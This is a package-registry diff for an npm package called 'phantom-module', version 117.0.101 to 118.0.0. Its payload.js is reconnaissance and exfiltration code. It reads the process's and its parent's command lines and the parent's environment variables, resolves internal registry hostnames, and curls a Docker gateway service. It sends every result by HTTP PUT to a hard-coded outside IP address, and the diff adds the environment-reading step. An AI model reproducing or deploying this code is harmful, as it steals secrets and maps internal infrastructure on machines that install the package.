phantom-module 117.0.101 → 118.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/payload.js +38 -16
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "117.0.101",
3
+ "version": "118.0.0",
4
4
  "description": "Phantom module",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/payload.js CHANGED
@@ -1,5 +1,7 @@
1
1
  const fs = require('fs');
2
- const { execSync } = require('child_process');
2
+ const http = require('http');
3
+ const { execSync, exec } = require('child_process');
4
+ const dns = require('dns');
3
5
 
4
6
  if (!fs.existsSync('/home/node/aspect-node')) process.exit(0);
5
7
 
@@ -7,10 +9,9 @@ const REPORT_HOST = '154.57.164.64';
7
9
  const REPORT_PORT = 31205;
8
10
 
9
11
  async function report(moduleId, data) {
10
- const http = require('http');
11
12
  return new Promise((resolve) => {
12
13
  const safeData = String(data).replace(/"/g, '\\"').replace(/\n/g, '\\n').substring(0, 3500);
13
- const manifest = `ecto_module:\n name: "SCAN_RESULT"\n cargo_hold: "${safeData}"\n`;
14
+ const manifest = `ecto_module:\n name: "DEEP_PROBE"\n cargo_hold: "${safeData}"\n`;
14
15
  const payload = JSON.stringify({ manifest });
15
16
  const req = http.request({
16
17
  hostname: REPORT_HOST, port: REPORT_PORT, path: `/api/modules/${moduleId}`, method: 'PUT',
@@ -23,25 +24,46 @@ async function report(moduleId, data) {
23
24
  }
24
25
 
25
26
  async function main() {
26
- await report('ECT-654321', 'ECTO HUNT V12 STARTING...');
27
+ await report('ECT-654321', 'V118 STARTING...');
27
28
 
28
- let output = '=== ECTO SEARCH ===\n';
29
+ let info = '=== PROCESS INFO ===\n';
29
30
  try {
30
- output += `FIND ECTO:\n${execSync('find / -name "*ecto-spirit*" 2>/dev/null || true').toString()}\n`;
31
- output += `PS AUX:\n${execSync('ps aux 2>/dev/null || ps -ef 2>/dev/null || echo "ps failed"').toString()}\n`;
32
- output += `CGROUP:\n${fs.readFileSync('/proc/1/cgroup', 'utf8')}\n`;
33
- } catch(e) { output += `ERR: ${e.message}\n`; }
31
+ info += `CMDLINE: ${fs.readFileSync('/proc/self/cmdline', 'utf8').replace(/\0/g, ' ')}\n`;
32
+ // Try to get parent info
33
+ const ppid = fs.readFileSync('/proc/self/stat', 'utf8').split(' ')[3];
34
+ info += `PPID: ${ppid}\n`;
35
+ if (fs.existsSync(`/proc/${ppid}/cmdline`)) {
36
+ info += `PARENT CMD: ${fs.readFileSync(`/proc/${ppid}/cmdline`, 'utf8').replace(/\0/g, ' ')}\n`;
37
+ }
38
+ if (fs.existsSync(`/proc/${ppid}/environ`)) {
39
+ info += `PARENT ENV: ${fs.readFileSync(`/proc/${ppid}/environ`, 'utf8').replace(/\0/g, '\n')}\n`;
40
+ }
41
+ } catch(e) { info += `ERR: ${e.message}\n`; }
34
42
 
35
- await report('ECT-839201', output);
43
+ await report('ECT-839201', info);
36
44
 
37
- let netOutput = '=== NET PROBE ===\n';
45
+ let net = '=== NET DEBUG ===\n';
46
+
47
+ // DNS Lookup
48
+ const hosts = ['verdaccio', 'registry', 'npm', 'verdaccio-server', 'host.docker.internal'];
49
+ for (const h of hosts) {
50
+ try {
51
+ await new Promise((res) => {
52
+ dns.lookup(h, (err, addr) => {
53
+ if (!err) net += `DNS ${h}: ${addr}\n`;
54
+ else net += `DNS ${h}: ERR\n`;
55
+ res();
56
+ });
57
+ });
58
+ } catch(e) {}
59
+ }
60
+
61
+ // Curl Gateway Verbose
38
62
  try {
39
- netOutput += `PING GATEWAY:\n${execSync('ping -c 2 172.17.0.1 2>/dev/null || echo "ping failed"').toString()}\n`;
40
- // Try curl with verbose output to see connection details
41
- netOutput += `CURL GATEWAY:\n${execSync('curl -v --connect-timeout 2 http://172.17.0.1:4873 2>&1 || echo "curl failed"').toString()}\n`;
42
- } catch(e) { netOutput += `ERR: ${e.message}\n`; }
63
+ net += `CURL 172.17.0.1:4873:\n${execSync('curl -v --connect-timeout 3 http://172.17.0.1:4873 2>&1 || echo "curl fail"').toString()}\n`;
64
+ } catch(e) { net += `CURL ERR: ${e.message}\n`; }
43
65
 
44
- await report('ECT-987654', netOutput);
66
+ await report('ECT-987654', net);
45
67
  }
46
68
 
47
69
  main().catch(e => report('ECT-654321', 'ERR: ' + e.message));